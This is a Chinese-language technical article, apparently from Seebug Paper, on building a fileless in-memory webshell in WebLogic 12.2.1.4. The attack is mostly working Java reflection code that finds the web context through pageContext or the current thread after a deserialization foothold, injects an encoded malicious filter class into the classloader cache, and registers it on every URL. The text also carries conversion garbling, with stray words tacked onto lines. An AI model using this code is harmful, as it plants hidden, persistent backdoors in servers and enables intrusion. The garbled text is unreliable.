weblogic 無文件 webshell 的技術研究

做者:寬字節安全
原文連接:https://mp.weixin.qq.com/s/euYuuI78oJhUHt9dVkomKA
本文爲做者投稿,Seebug Paper 期待你的分享,凡經採用即有禮品相送!
投稿郵箱:paper@seebug.org


java

上篇文章中着重研究了tomcat的內存馬以及實現方法。這篇文章主要研究了weblogic的內存馬實現原理。在這裏實現的原理與tomcat基本相同,一樣使用動態註冊Filter 的方式。下面分析一下weblogic在請求中是如何獲取FilterChain。web

如下分析基於 weblogic 12.2.1.4shell

0x01 weblogic FilterChain實現

建立一個Filter,隨便打一個斷點,觀察此時的堆棧信息,如圖緩存

經過跟蹤堆棧信息,咱們能夠找到,在wrapRun函數中,會判斷系統中是否存在filter以及listener。若是存在,則獲取FilterChain,而後依次調用Filter。原理與tomcat相似。相關代碼以下tomcat

weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#wrapRun 函數

if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {
    this.stub.execute(this.req, this.rsp);
} else {
    FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
    if (fc == null) {
        this.stub.execute(this.req, this.rsp);
    } else {
        fc.doFilter(this.req, this.rsp);
    }
}

而getFilterChain的代碼在 weblogic.servlet.internal.FilterManager中。weblogic中主要使用FilterManager去管理系統中的Filter,包括動態註冊一個Filter,獲取FilterChain等。動態註冊一個Filter的代碼以下安全

void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {
        FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
        if (this.loadFilter(fw)) {
            EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
            if (urlPatterns != null) {
                this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
            }

            if (servletNames != null) {
                this.addMappingForServletNames(filterName, types, true, servletNames);
            }

            this.filters.put(filterName, fw);
        }
    }

0x02 內存馬實現

技術難點主要有如下幾點:app

  • 怎麼尋找FilterManager
  • weblogic中類加載器機制

1. 尋找FilterManager

weblogic中,context會存放FilterManager。因此,這個問題轉換爲如何獲取context。有兩種方法jsp

pageContext

jsp頁面中的pageContext對象中,存有context對象。能夠經過反射獲取。這種比較適合直接上傳jsp文件獲取webshell權限的狀況。代碼以下函數

Field contextF = pageContext.getClass().getDeclaredField("context");
        contextF.setAccessible(true);
        Object context = contextF.get(pageContext);

線程中

這種狀況比較適合shiro,T3等反序列化漏洞,在沒法上傳文件,可是能夠直接經過反序列化獲取weblogic權限的狀況。這種狀況下不須要pageContext對象,在線程中查找context對象。代碼以下this

Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
        Method m = executeThread.getDeclaredMethod("getCurrentWork");
        Object currentWork = m.invoke(Thread.currentThread());

        Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
        connectionHandlerF.setAccessible(true);
        Object obj = connectionHandlerF.get(currentWork);

        Field requestF = obj.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        obj = requestF.get(obj);

        Field contextF = obj.getClass().getDeclaredField("context");
        contextF.setAccessible(true);
        Object context = contextF.get(obj);

2. FilterWrapper中類加載器機制

這裏只針對於加載Filter的狀況去討論。在FilterManager的registerFilter方法中,主要經過FilterWrapper類去包裝Filter類。可是FilterWrapper類的構造函數中,並無能夠傳遞Class的參數,只能夠傳遞ClassName,FilterManager經過ClassName去查找Class。下面咱們分析一下實現過程

在FilterManager的loadFilter中,Filter將會在這裏實例化。代碼以下

weblogic.servlet.internal.FilterManager#loadFilter
boolean loadFilter(FilterWrapper filterWrapper) {
        String filterClassName = filterWrapper.getFilterClassName();
        filter = (Filter)this.context.createInstance(filterClassName);
        filterWrapper.setFilter((String)null, (Class)null, filter, false);
        }

在filterWrapper.getFilterClassName中獲取FilterClass的名稱,而後經過context的createInstance方法去實例化。下面是createInstance的代碼

Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
    Class<?> clazz = this.classLoader.loadClass(className);
    return this.createInstance(clazz);
}

在這裏經過調用classloader的loadClass方法去根據名稱查找Class。咱們知道weblogic自定義了一個classloader,因此咱們繼續深刻loadCLass方法,代碼以下

weblogic.utils.classloaders.ChangeAwareClassLoader#loadClass(java.lang.String, boolean)
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    synchronized(this.getClassLoadingLock(name)) {
        Class res = (Class)this.cachedClasses.get(name);
        if (res != null) {
            return res;
        } else if (!this.childFirst) {
            return super.loadClass(name, resolve);

咱們能夠看出,ChangeAwareClassLoader會首先從cache中查找是否存在待查找的類,若是存在,則直接返回該名稱對應的Class。

因此咱們爲了使本身待動態加載的Filter能夠被FilterManager成功查找,最簡單的方法是在這個緩存中動手腳。代碼以下

/*
    第一步,將evilClass加載到classloader的cachedClasses中
     */
        Field classLoaderF = context.getClass().getDeclaredField("classLoader");
        classLoaderF.setAccessible(true);
        ClassLoader cl = (ClassLoader) classLoaderF.get(context);

        Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
        cachedClassesF.setAccessible(true);
        Object cachedClass = cachedClassesF.get(cl);

        Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
        if (getM.invoke(cachedClass, "bingxie") == null) {
            // 判斷一下,防止屢次加載惡意filter, 默認只加載一次,不須要重複加載
            BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
            String codeClass = "H4sIAAAAAAAAAKV..........";
            Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class evilFilterClass = (Class) defineClass.invoke(cl, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);

            // 在這裏 惡意類名稱爲 bingxie  filter 名稱爲test
            Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
            putM.invoke(cachedClass, "bingxie", evilFilterClass);

上面兩個技術難點解決後,咱們就能夠向FilterManager中動態註冊一個Filter。代碼比較簡單,以下

Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
            Object filterManager = getFilterManagerM.invoke(context);

            Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
            // String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
            registerFilterM.setAccessible(true);
            registerFilterM.invoke(filterManager, "test", "bingxie", new String[]{"/*"}, null, null, null);

0x03 成果檢驗

檢查weblogic,無文件落地。重啓weblogic後,webshell消失


Paper 本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1249/

相關文章
相關標籤/搜索